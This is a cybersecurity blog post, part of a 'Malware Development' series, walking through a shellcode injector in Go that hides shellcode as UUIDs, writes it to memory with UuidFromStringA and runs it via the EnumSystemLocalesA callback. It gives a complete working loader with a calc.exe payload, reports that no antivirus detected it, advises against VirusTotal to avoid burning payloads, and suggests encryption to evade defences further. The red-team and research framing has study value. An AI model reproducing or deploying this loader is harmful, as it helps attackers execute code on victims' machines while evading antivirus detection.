Logo
Waseem Akram
HomeAboutResumeBlogContactVU Study MaterialStore
W
Waseem Akram

Cybersecurity expert, web developer, and educator dedicated to sharing knowledge and empowering others in the tech world.

LinkedInGitHubFacebookInstagramYouTubeWhatsApp

Quick Links

  • Home
  • About
  • Services
  • Blog
  • VU Study Material
  • Contact
  • Resume
  • Store
  • Support Me

Contact Info

  • hello@hackerwasii.com
  • +92 313 711 9351
  • Okara, Punjab Pakistan

Newsletter

Subscribe to receive updates on new content, tutorials, and cybersecurity tips.

I respect your privacy. Unsubscribe at any time.

Now Playingon Spotify
© 2025 Waseem Akram. All rights reserved.Made with in Pakistan
Privacy PolicyTerms of ServiceRefund PolicyCookies Policy
Malware DevelopmentPersistenceGolangRed Teaming

Malware Development 2 UuidFromString shellcode injection (Golang)

W
Waseem AkramVerified account
Researcher, Pentester, Dev
2024-10-14
6 min read
3,653 views
Featured image for Malware Development 2 UuidFromString shellcode injection (Golang)

Introduction

Today we’ll learn an advanced shellcode injection technique used by Lazarus group which uses UuidFromStringA API call. In this technique, the malware uses the UuidFromStringA API to convert a string into a UUID. The malware then uses the UUID to locate the address of the shellcode in memory. The malware then injects the shellcode into the target process using the CreateRemoteThread API call.

Explanation

In this demo we’ll be using a calc.exe shellcode instead of a reverse shell

calc.exe shellcode in Golang format

Advertisement

calc_shellcode := []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}

This technique uses UuidFromStringA API call from Rpcrt4.dll which can be used to decode shellcode as uuid and writing it to a heap pointer. In this way it doesn’t use WriteProcessMemory.

It also uses EnumSystemLocalesA API call from kernel32.dll to resume and execute shellcode

At this point, if you have read my last post talking about CreateRemoteThread you may have noticed that all shellcode injection technique try to achieve this results:

Advertisement

    1. Allocate memory
    1. Write buffer
    1. Execute shellcode

As you can see the used functions change but the goal is the same so the key is doing this with uncommon API calls

Code

package main
 
import (
  "os"
  "fmt"
  "log"
  "bytes"
  "unsafe"
  "encoding/binary"
 
  "golang.org/x/sys/windows"
  "github.com/google/uuid"
)

Before allocating any memory we should convert our shellcode to UUID

...
 
// Check shellcode length to add some zero
if 16 - len(shellcode) %16 < 16 {
  pad := bytes.Repeat([]byte{byte(0x90)}, 16-len(shellcode)%16)
  shellcode = append(shellcode, pad...)
}
 
var uuids []string
for i := 0; i < len(shellcode); i += 16 {
  var uuidBytes []byte
 
  buf := make([]byte, 4)
  binary.LittleEndian.PutUint32(buf, binary.BigEndian.Uint32(shellcode[i:i+4]))
  uuidBytes = append(uuidBytes, buf...)
 
  buf = make([]byte, 2)
  binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+4:i+6]))
  uuidBytes = append(uuidBytes, buf...)
 
  buf = make([]byte, 2)
  binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+6:i+8]))
  uuidBytes = append(uuidBytes, buf...)
 
  uuidBytes = append(uuidBytes, shellcode[i+8:i+16]...)
 
  // Use official Google package to convert bytes to uuid
  u, err := uuid.FromBytes(uuidBytes)
  if err != nil {
    log.Fatal(fmt.Errorf("there was an error converting bytes into a UUID:\n%s", err))
  }
 
  uuids = append(uuids, u.String())
}
 
...

Once we have converted the shellcode to UUIDs we start creating a heap and allocating memory:

Advertisement

...
 
// Import DLL
kernel32 := windows.NewLazyDLL("kernel32")
 
// Get functions from kernel32.dll
HeapCreate := kernel32.NewProc("HeapCreate")
HeapAlloc := kernel32.NewProc("HeapAlloc")
 
// Create heap
heapAddr, _, err := HeapCreate.Call(
  0x00040000,
  0,
  0,
)
 
if heapAddr == 0 { // Handle error
  log.Fatal(err)
}
 
// Allocate heap memory
addr, _, err := HeapAlloc.Call(
  heapAddr,
  0,
  0x00100000,
)
 
if addr == 0 { // Handle error
  log.Fatal(err)
}
 
...

Now we have to use UuidFromStringA to decode and write the shellcode to memory iterating over all the UUIDs

...
 
// Load dll
rpcrt4 := windows.NewLazySystemDLL("Rpcrt4.dll")
UuidFromStringA := rpcrt4.NewProc("UuidFromStringA")
 
addrPtr := addr
// Iterate over all UUIDs
for _, uuid := range uuids {
  u := append([]byte(uuid), 0)
 
  // Call function
  rpcStatus, _, err := UuidFromStringA.Call(
    uintptr(unsafe.Pointer(&u[0])),
    addrPtr,
  )
 
  if rpcStatus != 0 { // Handle error
    log.Fatal(err)
  }
 
  addrPtr += 16
}
 
...

And finally to execute the shellcode we use EnumSystemLocalesA as there are some API calls which use callback functions so can be abused to execute shellcode.

...
 
// Get API call
EnumSystemLocalesA := kernel32.NewProc("EnumSystemLocalesA")
 
ret, _, err := EnumSystemLocalesA.Call(addr, 0)
if ret == 0 { // Handle error
  log.Fatal(err)
}
 
...

Let’s put all together to make it work. The final code should be something like this:

Advertisement

package main
 
/*
 
Author: Waseem Akram
Blog post: https://hackerwasii.com/blogposts/malware-development-uuidfromstring-shellcode-injection-golang
 
*/
 
import (
  "fmt"
  "log"
  "bytes"
  "unsafe"
  "encoding/binary"
 
  "golang.org/x/sys/windows"
  "github.com/google/uuid"
)
 
func main(){
  var shellcode = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
 
  // Check shellcode length to add some zero
  if 16 - len(shellcode) %16 < 16 {
    pad := bytes.Repeat([]byte{byte(0x90)}, 16-len(shellcode)%16)
    shellcode = append(shellcode, pad...)
  }
 
  // Convert shellcode to UUIDs
  fmt.Println("Converting shellcode to UUIDs...")
  var uuids []string
  for i := 0; i < len(shellcode); i += 16 {
    var uuidBytes []byte
 
    buf := make([]byte, 4)
    binary.LittleEndian.PutUint32(buf, binary.BigEndian.Uint32(shellcode[i:i+4]))
    uuidBytes = append(uuidBytes, buf...)
 
    buf = make([]byte, 2)
    binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+4:i+6]))
    uuidBytes = append(uuidBytes, buf...)
 
    buf = make([]byte, 2)
    binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+6:i+8]))
    uuidBytes = append(uuidBytes, buf...)
 
    uuidBytes = append(uuidBytes, shellcode[i+8:i+16]...)
 
    // Use official Google package to convert bytes to uuid
    u, err := uuid.FromBytes(uuidBytes)
    if err != nil {
      log.Fatal(fmt.Errorf("there was an error converting bytes into a UUID:\n%s", err))
    }
 
    uuids = append(uuids, u.String())
  }
 
  fmt.Println("UUIDs amount:", len(uuids))
 
  fmt.Println("Loading DLLs...")
  kernel32 := windows.NewLazyDLL("kernel32")
  HeapCreate := kernel32.NewProc("HeapCreate")
  HeapAlloc := kernel32.NewProc("HeapAlloc")
  EnumSystemLocalesA := kernel32.NewProc("EnumSystemLocalesA")
 
  rpcrt4 := windows.NewLazySystemDLL("Rpcrt4.dll")
  UuidFromStringA := rpcrt4.NewProc("UuidFromStringA")
 
  // Create heap
  fmt.Println("Calling HeapCreate...")
  heapAddr, _, err := HeapCreate.Call(
    0x00040000,
    0,
    0,
  )
 
  if heapAddr == 0 { // Handle error
    log.Fatal(err)
  }
 
  // Allocate heap memory
  fmt.Println("Calling HeapAlloc...")
  addr, _, err := HeapAlloc.Call(
    heapAddr,
    0,
    0x00100000,
  )
 
  if addr == 0 { // Handle error
    log.Fatal(err)
  }
 
  addrPtr := addr
  // Iterate over UUIDs to write shellcode
  for _, uuid := range uuids {
    u := append([]byte(uuid), 0)
 
    fmt.Println("Calling UuidFromStringA with UUID: " + uuid)
    rpcStatus, _, err := UuidFromStringA.Call(
      uintptr(unsafe.Pointer(&u[0])),
      addrPtr,
    )
 
    if rpcStatus != 0 { // Handle error
      log.Fatal(err)
    }
 
    addrPtr += 16
  }
 
  // Execute shellcode
  fmt.Println("Calling EnumSystemLocalesA...")
  ret, _, err := EnumSystemLocalesA.Call(addr, 0)
  if ret == 0 {
    log.Fatal(err)
  }
 
  fmt.Println("Shellcode should have been executed!")
}

Now compile the final program, transfer it to the “victim” PC and execute it, this is the results

UuidFromString-compile

After executing it, a calc.exe appears! It works!

Advertisement

Now let’s upload it to antiscan.me (not VirusTotal as it distributes malware so may burn out our payloads) and here are the results:

https://antiscan.me/scan/new/result?id=uopy3r7IvC6H

As you can see any AV detected our .exe as malicious. However if you wanna add more protection to your shellcode injector you can use XOR or AES decryption

Advertisement

References

https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/
https://blog.sunggwanchoi.com/eng-uuid-shellcode-execution/

Malware DevelopmentPersistenceGolangRed Teaming
W

Waseem AkramVerified account

Researcher, Pentester, Dev

Cybersecurity expert and educator with a passion for sharing knowledge and helping others stay safe online.

Comments

Comments are currently disabled. Please share your thoughts on social media.

Related Articles

Malware Development 5 - Malware analysis evasion via Api Hashing (Golang)
Malware DevelopmentPersistence+2

Malware Development 5 - Malware analysis evasion via Api Hashing (Golang)

Today we’re going to see how real malware protect themselves from being analyzed using a technique called Api Hashing. First of all we should...

2024-11-086 min read
Malware Development 4 - Dump lsass.exe process + AV/EDR evasion (Golang)
Malware DevelopmentPersistence+2

Malware Development 4 - Dump lsass.exe process + AV/EDR evasion (Golang)

Today we’ll dump LSASS.EXE process memory to obtain credentials and we also will be using some evasion techniques. During red team...

2024-10-1714 min read
Malware Development 3 - Persistence via Recycle Bin (Golang)
Malware DevelopmentPersistence+2

Malware Development 3 - Persistence via Recycle Bin (Golang)

Today we’re gonna see an effective technique to mantain access in Windows systems during red team operations just by modifying a registry key...

2024-10-156 min read